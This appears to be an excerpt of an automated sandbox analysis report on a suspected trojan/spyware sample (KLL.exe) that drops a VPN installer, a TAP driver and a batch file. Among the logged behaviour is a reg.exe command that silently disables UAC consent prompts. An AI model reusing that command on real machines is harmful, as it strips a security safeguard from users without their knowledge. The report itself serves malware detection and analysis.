FindExecutableWFindNextStreamWFindNextVolumeWFindResourceExWFindVolumeCloseFlush dns cacheFlushIpNetTableFlushViewOfFileFreeAddrInfoExWGENERIC_MAPPINGGateway TimeoutGdiGradientFillGdiIsMetaFileDCGetActiveWindowGetAdapterIndexGetAdaptersInfoGetArcDirectionGetCharWidth32WGetClassInfoExWGetComboBoxInfoGetCommTimeoutsGetCommandLineWGetDCBrushColorGetDateFormatExGetDlgItemTextWGetEnhMetaFileWGetGraphicsModeGetGuiResourcesGetIpStatisticsGetKeyNameTextWGetKeyboardTypeGetLocaleInfoExGetMailslotInfoGetMenuItemRectGetMonitorInfoWGetNearestColorGetPolyFillModeGetProcessHeapsGetProcessTimesGetRawInputDataGetSecurityInfoGetStartupInfoWGetTapePositionGetTextMetricsWGetThemeIntListGetThemeMarginsGetThemeSysBoolGetThemeSysFontGetThemeSysSizeGetThreadLocaleGetTimeFormatExGetTitleBarInfoGetTrusteeFormWGetTrusteeNameWGetTrusteeTypeWGetWindowRgnBoxGlobalFindAtomWHanifi_RohingyaHasIPPacketInfoHost-Block-ListHost-Local-ListICreateTypeLib2IMEMENUITEMINFOIO_STATUS_BLOCKIP-Country-ListIP-Queue-LengthIP_ADAPTER_INFOIPersistStorageIShellItemArrayI_CryptAllocTlsI_RpcFreeBufferIcmp6CreateFileIcmpCloseHandleIcmpSendEcho2ExIdempotency-KeyImageList_MergeImageList_WriteImmIsUIMessageWImpersonateSelfInSendMessageExInitMUILanguageInsertMenuItemWIsBadStringPtrWIsHungAppWindowIsValidCodePageIsWindowEnabledIsWindowUnicodeIsWindowVisibleIsWow64Process2K32GetWsChangesKillSystemTimerLPCONDITIONPROCLPENUMFORMATETCLPFNDFMCALLBACKLPLOGCOLORSPACELPMESSAGEFILTERLPOLECLIENTSITELPPAGEPAINTHOOKLPPAGESETUPHOOKLPPRINTHOOKPROCLPSETUPHOOKPROCLPSHQUERYRBINFOLPWSAOVERLAPPEDLWBTBVCITWI2025Length RequiredLoadLibraryExA

memstr_07d5e337-8

Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Code function: 16_2_6C6A2C80 MessageBeep,SendMessageW,SendMessageW,SendMessageW,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,		16_2_6C6A2C80
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Code function: 16_2_6C6899B8 GetKeyState,GetKeyState,GetKeyState,SendMessageW,		16_2_6C6899B8

Source: Yara match	File source: 55.2.LetsPRO.exe.684b0000.20.unpack, type: UNPACKEDPE
Source: Yara match	File source: Process Memory Space: LetsPRO.exe PID: 7812, type: MEMORYSTR
Source: Yara match	File source: C:\Program Files (x86)\letsvpn\app-3.7.0\libwin.dll, type: DROPPED

Source: C:\Windows\System32\drvinst.exe	File created: C:\Windows\System32\DriverStore\Temp\{77873dc6-6038-6d45-9b90-5097b5d9b5f5}\SETC992.tmp	Jump to dropped file
Source: C:\Windows\System32\drvinst.exe	File created: C:\Windows\System32\DriverStore\Temp\{77873dc6-6038-6d45-9b90-5097b5d9b5f5}\tap0901.cat (copy)	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\driver\tap0901.cat	Jump to dropped file
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	File created: C:\Users\user\AppData\Local\Temp\{eaec0754-a7e2-6546-934e-9da987d97cde}\tap0901.cat (copy)	Jump to dropped file
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	File created: C:\Users\user\AppData\Local\Temp\{eaec0754-a7e2-6546-934e-9da987d97cde}\SETC78F.tmp	Jump to dropped file

Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe

Code function: 16_2_6C660090 NtAllocateVirtualMemory,NtAllocateVirtualMemory,LdrLoadDll,

16_2_6C660090

Source: C:\ProgramData\letsvpn-latest.exe

File created: C:\Program Files (x86)\letsvpn\driver\tap0901.sys

Source: C:\Windows\System32\drvinst.exe

File created: C:\Windows\System32\DriverStore\Temp\{77873dc6-6038-6d45-9b90-5097b5d9b5f5}

Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp	Jump to behavior
Source: C:\Windows\System32\drvinst.exe	File created: C:\Windows\System32\DriverStore\FileRepository\oemvista.inf_amd64_662fd96dfdced4ae
Source: C:\Windows\System32\drvinst.exe	File created: C:\Windows\System32\DriverStore\drvstore.tmp
Source: C:\Windows\System32\drvinst.exe	File created: C:\Windows\inf\oem4.inf
Source: C:\Windows\System32\drvinst.exe	File created: C:\Windows\System32\drivers\SETD038.tmp
Source: C:\Windows\System32\drvinst.exe	File created: C:\Windows\System32\drivers\SETD038.tmp

Source: C:\Windows\System32\drvinst.exe

File deleted: C:\Windows\System32\DriverStore\Temp\{77873dc6-6038-6d45-9b90-5097b5d9b5f5}\SETC972.tmp

Source: C:\Users\user\Desktop\KLL.exe	Code function: 0_2_000000018000CA4C	0_2_000000018000CA4C
Source: C:\Users\user\Desktop\KLL.exe	Code function: 0_2_0000000180024430	0_2_0000000180024430
Source: C:\Users\user\Desktop\KLL.exe	Code function: 0_2_0000000180005710	0_2_0000000180005710
Source: C:\Users\user\Desktop\KLL.exe	Code function: 0_2_000000018000F7C0	0_2_000000018000F7C0
Source: C:\Users\user\Desktop\KLL.exe	Code function: 0_2_0000000180023010	0_2_0000000180023010
Source: C:\Users\user\Desktop\KLL.exe	Code function: 0_2_00000001800170C4	0_2_00000001800170C4
Source: C:\Users\user\Desktop\KLL.exe	Code function: 0_2_000000018001A988	0_2_000000018001A988
Source: C:\Users\user\Desktop\KLL.exe	Code function: 0_2_0000000180015234	0_2_0000000180015234
Source: C:\Users\user\Desktop\KLL.exe	Code function: 0_2_0000000180019298	0_2_0000000180019298
Source: C:\Users\user\Desktop\KLL.exe	Code function: 0_2_0000000180027AA4	0_2_0000000180027AA4
Source: C:\Users\user\Desktop\KLL.exe	Code function: 0_2_000000018000B328	0_2_000000018000B328
Source: C:\Users\user\Desktop\KLL.exe	Code function: 0_2_0000000180009B88	0_2_0000000180009B88
Source: C:\Users\user\Desktop\KLL.exe	Code function: 0_2_000000018001BB98	0_2_000000018001BB98
Source: C:\Users\user\Desktop\KLL.exe	Code function: 0_2_000000018001AD38	0_2_000000018001AD38
Source: C:\Users\user\Desktop\KLL.exe	Code function: 0_2_0000000180010D40	0_2_0000000180010D40
Source: C:\Users\user\Desktop\KLL.exe	Code function: 0_2_0000000180017DFC	0_2_0000000180017DFC
Source: C:\Users\user\Desktop\KLL.exe	Code function: 0_2_000000018001DE04	0_2_000000018001DE04
Source: C:\Users\user\Desktop\KLL.exe	Code function: 0_2_000000018001BE0C	0_2_000000018001BE0C
Source: C:\Users\user\Desktop\KLL.exe	Code function: 0_2_0000000180023634	0_2_0000000180023634
Source: C:\Users\user\Desktop\KLL.exe	Code function: 0_2_000000018001FF08	0_2_000000018001FF08
Source: C:\Users\user\Desktop\KLL.exe	Code function: 0_2_0000000180025F18	0_2_0000000180025F18
Source: C:\Users\user\Desktop\KLL.exe	Code function: 0_2_000000018002677C	0_2_000000018002677C
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Code function: 16_2_00771870	16_2_00771870
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Code function: 16_2_6C660090	16_2_6C660090
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Code function: 16_2_6C6E2D52	16_2_6C6E2D52
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Code function: 16_2_6C7B4943	16_2_6C7B4943
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Code function: 16_2_6C7B8203	16_2_6C7B8203
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Code function: 16_2_6C6A9F03	16_2_6C6A9F03
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Code function: 16_2_6C928EB8	16_2_6C928EB8
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Code function: 16_2_6C921EF4	16_2_6C921EF4
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Code function: 16_2_6C928E5C	16_2_6C928E5C
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Code function: 16_2_6C959850	16_2_6C959850
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Code function: 16_2_6C921AE7	16_2_6C921AE7
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Code function: 16_2_6C92EA18	16_2_6C92EA18
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Code function: 16_2_6C9294F8	16_2_6C9294F8
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Code function: 16_2_6C92950C	16_2_6C92950C
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Code function: 16_2_6C925620	16_2_6C925620

Source: Joe Sandbox View

Dropped File: C:\Program Files (x86)\letsvpn\Update.exe 677C41FDBD8E90CCCB5AD0CA4C9313AAA96337405365E3DD39313EF9B99A93AC

Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe

Process token adjusted: Load Driver

Source: C:\Windows\System32\svchost.exe

Process token adjusted: Security

Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Code function: String function: 6C679160 appears 3082 times
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Code function: String function: 6C7B1BF0 appears 56 times
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Code function: String function: 6C68062D appears 44 times
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Code function: String function: 6C7B14D2 appears 41 times
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Code function: String function: 6C95B723 appears 60 times
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Code function: String function: 6C7B1CD0 appears 41 times
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Code function: String function: 6C95B75A appears 90 times
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Code function: String function: 6C95B6EF appears 171 times
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Code function: String function: 6C7B1BBC appears 207 times

Source: System.Globalization.Extensions.dll.18.dr

Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: s.0.dr

Static PE information: No import functions for PE file found

Source: s.0.dr

Static PE information: Data appended to the last section found

Source: KLL.exe, 00000000.00000000.2056290206.00007FF7B0EDA000.00000008.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameQt5Widgets.dll( vs KLL.exe
Source: KLL.exe, 00000000.00000002.2219203323.00007FF7B0EDA000.00000008.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameQt5Widgets.dll( vs KLL.exe

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\reg.exe reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t reg_dword /d 0 /F

Source: System.IO.FileSystem.AccessControl.dll.18.dr, FileSystemAclExtensions.cs	Security API names: directoryInfo.GetAccessControl
Source: System.IO.FileSystem.AccessControl.dll.18.dr, FileSystemAclExtensions.cs	Security API names: fileInfo.SetAccessControl
Source: System.IO.FileSystem.AccessControl.dll.18.dr, FileSystemAclExtensions.cs	Security API names: fileStream.GetAccessControl
Source: System.IO.FileSystem.AccessControl.dll.18.dr, FileSystemAclExtensions.cs	Security API names: fileInfo.GetAccessControl
Source: System.IO.FileSystem.AccessControl.dll.18.dr, FileSystemAclExtensions.cs	Security API names: directoryInfo.SetAccessControl
Source: System.IO.FileSystem.AccessControl.dll.18.dr, FileSystemAclExtensions.cs	Security API names: fileStream.SetAccessControl

Source: classification engine

Classification label: mal54.spre.troj.spyw.evad.winEXE@100/286@9/10

Source: C:\Users\user\Desktop\KLL.exe

Code function: 0_2_0000000180003848 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,_beginthreadex,Sleep,SleepEx,CloseHandle,FindCloseChangeNotification,

0_2_0000000180003848

Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe

Code function: 16_2_6C936CA0 _Statvfs,GetDiskFreeSpaceExW,

16_2_6C936CA0

Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe

Code function: 16_2_00773840 CreateToolhelp32Snapshot,Process32FirstW,_wcslwr_s,wcsstr,Process32NextW,

16_2_00773840

Source: C:\Users\user\Desktop\KLL.exe

Code function: 0_2_000000018000310C CoInitialize,CoImpersonateClient,CoInitializeSecurity,CLSIDFromProgID,CoCreateInstance,VariantInit,VariantInit,VariantInit,SysAllocString,SysAllocString,SysAllocString,SysAllocString,VariantClear,CoUninitialize,

0_2_000000018000310C

Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe

Code function: 16_2_00776290 LoadResource,LockResource,SizeofResource,

16_2_00776290

Source: C:\ProgramData\letsvpn-latest.exe

File created: C:\Program Files (x86)\letsvpn

Source: C:\Users\user\Desktop\KLL.exe

File created: C:\Users\user\AppData\Roaming\R62ra.bat

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7264:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2460:120:WilError_03
Source: C:\Windows\System32\drvinst.exe	Mutant created: \BaseNamedObjects\DrvInst.exe_mutex_{5B10AC83-4F13-4fde-8C0B-B85681BA8D73}
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5344:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8104:120:WilError_03
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Mutant created: \Sessions\1\BaseNamedObjects\C__Program Files (x86)_letsvpn_app-3.7.0_Log_
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7180:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7424:120:WilError_03
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Mutant created: \Sessions\1\BaseNamedObjects\V 4 I
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7656:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8008:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6768:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8048:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5228:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7384:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7352:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7408:120:WilError_03
Source: C:\Users\user\Desktop\KLL.exe	Mutant created: \Sessions\1\BaseNamedObjects\V? 5
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1276:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7728:120:WilError_03

Source: C:\ProgramData\letsvpn-latest.exe

File created: C:\Users\user\AppData\Local\Temp\nsx5D2B.tmp

Source: C:\Users\user\Desktop\KLL.exe

Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Roaming\R62ra.bat"

Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Command line argument: ..\data\skins\	16_2_00776C80
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Command line argument: skin.xml	16_2_00776C80
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Command line argument: SKINDATA	16_2_00776C80
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Command line argument: SkinRes.dll	16_2_00776C80
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Command line argument: uc.ini	16_2_00776C80
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Command line argument: root_data_path	16_2_00776C80
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Command line argument: language	16_2_00776C80
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Command line argument: ..\language\	16_2_00776C80

Source: KLL.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select ProcessorID From Win32_processor
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select ProcessorId From Win32_Processor
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select Manufacturer From Win32_Processor
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select ProcessorID From Win32_processor
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select Manufacturer From Win32_Processor
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select ProcessorId From Win32_Processor

Source: C:\Users\user\Desktop\KLL.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\KLL.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: LetsPRO.exe, 00000037.00000002.4049459273.0000000067B47000.00000002.00000001.01000000.0000002D.sdmp	Binary or memory string: UPDATE %Q.%s SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: LetsPRO.exe, 00000037.00000002.4049459273.0000000067B47000.00000002.00000001.01000000.0000002D.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: LetsPRO.exe, 00000037.00000002.4049459273.0000000067B47000.00000002.00000001.01000000.0000002D.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: LetsPRO.exe, 00000037.00000002.4049459273.0000000067B47000.00000002.00000001.01000000.0000002D.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: LetsPRO.exe, 00000037.00000002.4049459273.0000000067B47000.00000002.00000001.01000000.0000002D.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: LetsPRO.exe, 00000037.00000002.4049459273.0000000067B47000.00000002.00000001.01000000.0000002D.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: LetsPRO.exe, 00000037.00000002.4049459273.0000000067B47000.00000002.00000001.01000000.0000002D.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);

Source: KLL.exe	String found in binary or memory: process-stop
Source: KLL.exe	String found in binary or memory: media-playback-start
Source: KLL.exe	String found in binary or memory: media-playback-stop
Source: KLL.exe	String found in binary or memory: :/qt-project.org/styles/commonstyle/images/standardbutton-help-16.png
Source: KLL.exe	String found in binary or memory: :/qt-project.org/styles/commonstyle/images/stop-24.png
Source: KLL.exe	String found in binary or memory: :/qt-project.org/styles/commonstyle/images/stop-24.png
Source: KLL.exe	String found in binary or memory: :/qt-project.org/styles/commonstyle/images/media-stop-32.png
Source: KLL.exe	String found in binary or memory: :/qt-project.org/styles/commonstyle/images/standardbutton-help-32.png
Source: KLL.exe	String found in binary or memory: :/qt-project.org/styles/commonstyle/images/standardbutton-help-128.png
Source: KLL.exe	String found in binary or memory: :/qt-project.org/styles/commonstyle/images/stop-32.png
Source: KLL.exe	String found in binary or memory: :/qt-project.org/styles/commonstyle/images/stop-32.png
Source: KLL.exe	String found in binary or memory: :/qt-project.org/styles/commonstyle/images/media-stop-16.png
Source: KLL.exe	String found in binary or memory: dialog-help-icon
Source: KLL.exe	String found in binary or memory: filedialog-start-icon
Source: KLL.exe	String found in binary or memory: eactivate-on-singleclickalignmentarrow-keys-navigate-into-childrenbackward-iconbutton-layoutcd-iconcombobox-list-mousetrackingcombobox-popupcomputer-icondesktop-icondialog-apply-icondialog-cancel-icondialog-close-icondialog-discard-icondialog-help-icondialog-no-icondialog-ok-icondialog-open-icondialog-reset-icondialog-save-icondialog-yes-icondialogbuttonbox-buttons-have-iconsdirectory-closed-icondirectory-icondirectory-link-icondirectory-open-icondither-disable-textdockwidget-close-icondownarrow-icondvd-iconetch-disabled-textfile-iconfile-link-iconfiledialog-backward-iconfiledialog-contentsview-iconfiledialog-detailedview-iconfiledialog-end-iconfiledialog-infoview-iconfiledialog-listview-iconfiledialog-new-directory-iconfiledialog-parent-directory-iconfiledialog-start-iconfloppy-iconforward-icongridline-colorharddisk-iconhome-iconicon-sizeleftarrow-iconlineedit-password-characterlineedit-password-mask-delaymdi-fill-space-on-maximizemenu-scrollablemenubar-altkey-navigationmenubar-separatormessagebox-critical-iconmessagebox-information-iconmessagebox-question-iconmessagebox-text-interaction-flagsmessagebox-warning-iconmouse-trackingnetwork-iconopacitypaint-alternating-row-colors-for-empty-arearightarrow-iconscrollbar-contextmenuscrollbar-leftclick-absolute-positionscrollbar-middleclick-absolute-positionscrollbar-roll-between-buttonsscrollbar-scroll-when-pointer-leaves-controlscrollview-frame-around-contentsshow-decoration-selectedspinbox-click-autorepeat-ratespincontrol-disable-on-boundstabbar-elide-modetabbar-prefer-no-arrowstitlebar-close-icontitlebar-contexthelp-icontitlebar-maximize-icontitlebar-menu-icontitlebar-minimize-icontitlebar-normal-icontitlebar-shade-icontitlebar-unshade-icontoolbutton-popup-delaytrash-iconuparrow-icondown-arrowup-arrowleft-arrowright-arrowindicatorindicatormenu-indicator
Source: KLL.exe	String found in binary or memory: eactivate-on-singleclickalignmentarrow-keys-navigate-into-childrenbackward-iconbutton-layoutcd-iconcombobox-list-mousetrackingcombobox-popupcomputer-icondesktop-icondialog-apply-icondialog-cancel-icondialog-close-icondialog-discard-icondialog-help-icondialog-no-icondialog-ok-icondialog-open-icondialog-reset-icondialog-save-icondialog-yes-icondialogbuttonbox-buttons-have-iconsdirectory-closed-icondirectory-icondirectory-link-icondirectory-open-icondither-disable-textdockwidget-close-icondownarrow-icondvd-iconetch-disabled-textfile-iconfile-link-iconfiledialog-backward-iconfiledialog-contentsview-iconfiledialog-detailedview-iconfiledialog-end-iconfiledialog-infoview-iconfiledialog-listview-iconfiledialog-new-directory-iconfiledialog-parent-directory-iconfiledialog-start-iconfloppy-iconforward-icongridline-colorharddisk-iconhome-iconicon-sizeleftarrow-iconlineedit-password-characterlineedit-password-mask-delaymdi-fill-space-on-maximizemenu-scrollablemenubar-altkey-navigationmenubar-separatormessagebox-critical-iconmessagebox-information-iconmessagebox-question-iconmessagebox-text-interaction-flagsmessagebox-warning-iconmouse-trackingnetwork-iconopacitypaint-alternating-row-colors-for-empty-arearightarrow-iconscrollbar-contextmenuscrollbar-leftclick-absolute-positionscrollbar-middleclick-absolute-positionscrollbar-roll-between-buttonsscrollbar-scroll-when-pointer-leaves-controlscrollview-frame-around-contentsshow-decoration-selectedspinbox-click-autorepeat-ratespincontrol-disable-on-boundstabbar-elide-modetabbar-prefer-no-arrowstitlebar-close-icontitlebar-contexthelp-icontitlebar-maximize-icontitlebar-menu-icontitlebar-minimize-icontitlebar-normal-icontitlebar-shade-icontitlebar-unshade-icontoolbutton-popup-delaytrash-iconuparrow-icondown-arrowup-arrowleft-arrowright-arrowindicatorindicatormenu-indicator
Source: KLL.exe	String found in binary or memory: eQToolTipclassstyle1styleDestroyed(QObject)Could not parse application stylesheetstyleSheet {Could not parse stylesheet of object %pQDockWidgetTitleButtonqt_dockwidget_closebuttonqt_dockwidget_floatbutton_q_stylesheet_minw_q_stylesheet_minh_q_stylesheet_maxw_q_stylesheet_maxh does not have a property named cannot design property named _q_styleSheetWidgetFont1objectDestroyed(QObject*)1update()2valueChanged(int)mNXicon-sizetitlebar-menu-icontitlebar-minimize-icontitlebar-maximize-icontitlebar-close-icontitlebar-normal-icontitlebar-shade-icontitlebar-unshade-icontitlebar-contexthelp-icondockwidget-close-iconmessagebox-information-iconmessagebox-warning-iconmessagebox-critical-iconmessagebox-question-icondesktop-icontrash-iconcomputer-iconfloppy-iconharddisk-iconcd-icondvd-iconnetwork-icondirectory-open-icondirectory-closed-icondirectory-link-iconfile-iconfile-link-iconfiledialog-start-iconfiledialog-end-iconfiledialog-parent-directory-iconfiledialog-new-directory-iconfiledialog-detailedview-iconfiledialog-infoview-iconfiledialog-contentsview-iconfiledialog-listview-iconfiledialog-backward-icondirectory-icondialog-ok-icondialog-cancel-icondialog-help-icondialog-open-icondialog-save-icondialog-close-icondialog-apply-icondialog-reset-icondiscard-icondialog-yes-icondialog-no-iconuparrow-icondownarrow-iconleftarrow-iconrightarrow-iconbackward-iconforward-iconhome-iconlineedit-password-characterlineedit-password-mask-delaydither-disabled-textetch-disabled-textactivate-on-singleclickshow-decoration-selectedgridline-coloropacitycombobox-popupcombobox-list-mousetrackingmenubar-altkey-navigationmenu-scrollablemenubar-separatormouse-trackingspinbox-click-autorepeat-ratespincontrol-disable-on-boundsmessagebox-text-interaction-flagstoolbutton-popup-delayscrollview-frame-around-contentsscrollbar-contextmenuscrollbar-leftclick-absolute-positionscrollbar-middleclick-absolute-positionscrollbar-roll-between-buttonsscrollbar-scroll-when-pointer-leaves-controltabbar-elide-modetabbar-prefer-no-arrowsdialogbuttonbox-buttons-have-iconsmdi-fill-space-on-maximizearrow-keys-navigate-into-childrenpaint-alternating-row-colors-for-empty-areaqt_fontDialog_sampleEditqt_
Source: KLL.exe	String found in binary or memory: eQToolTipclassstyle1styleDestroyed(QObject)Could not parse application stylesheetstyleSheet {Could not parse stylesheet of object %pQDockWidgetTitleButtonqt_dockwidget_closebuttonqt_dockwidget_floatbutton_q_stylesheet_minw_q_stylesheet_minh_q_stylesheet_maxw_q_stylesheet_maxh does not have a property named cannot design property named _q_styleSheetWidgetFont1objectDestroyed(QObject*)1update()2valueChanged(int)mNXicon-sizetitlebar-menu-icontitlebar-minimize-icontitlebar-maximize-icontitlebar-close-icontitlebar-normal-icontitlebar-shade-icontitlebar-unshade-icontitlebar-contexthelp-icondockwidget-close-iconmessagebox-information-iconmessagebox-warning-iconmessagebox-critical-iconmessagebox-question-icondesktop-icontrash-iconcomputer-iconfloppy-iconharddisk-iconcd-icondvd-iconnetwork-icondirectory-open-icondirectory-closed-icondirectory-link-iconfile-iconfile-link-iconfiledialog-start-iconfiledialog-end-iconfiledialog-parent-directory-iconfiledialog-new-directory-iconfiledialog-detailedview-iconfiledialog-infoview-iconfiledialog-contentsview-iconfiledialog-listview-iconfiledialog-backward-icondirectory-icondialog-ok-icondialog-cancel-icondialog-help-icondialog-open-icondialog-save-icondialog-close-icondialog-apply-icondialog-reset-icondiscard-icondialog-yes-icondialog-no-iconuparrow-icondownarrow-iconleftarrow-iconrightarrow-iconbackward-iconforward-iconhome-iconlineedit-password-characterlineedit-password-mask-delaydither-disabled-textetch-disabled-textactivate-on-singleclickshow-decoration-selectedgridline-coloropacitycombobox-popupcombobox-list-mousetrackingmenubar-altkey-navigationmenu-scrollablemenubar-separatormouse-trackingspinbox-click-autorepeat-ratespincontrol-disable-on-boundsmessagebox-text-interaction-flagstoolbutton-popup-delayscrollview-frame-around-contentsscrollbar-contextmenuscrollbar-leftclick-absolute-positionscrollbar-middleclick-absolute-positionscrollbar-roll-between-buttonsscrollbar-scroll-when-pointer-leaves-controltabbar-elide-modetabbar-prefer-no-arrowsdialogbuttonbox-buttons-have-iconsmdi-fill-space-on-maximizearrow-keys-navigate-into-childrenpaint-alternating-row-colors-for-empty-areaqt_fontDialog_sampleEditqt_

Source: unknown	Process created: C:\Users\user\Desktop\KLL.exe "C:\Users\user\Desktop\KLL.exe"
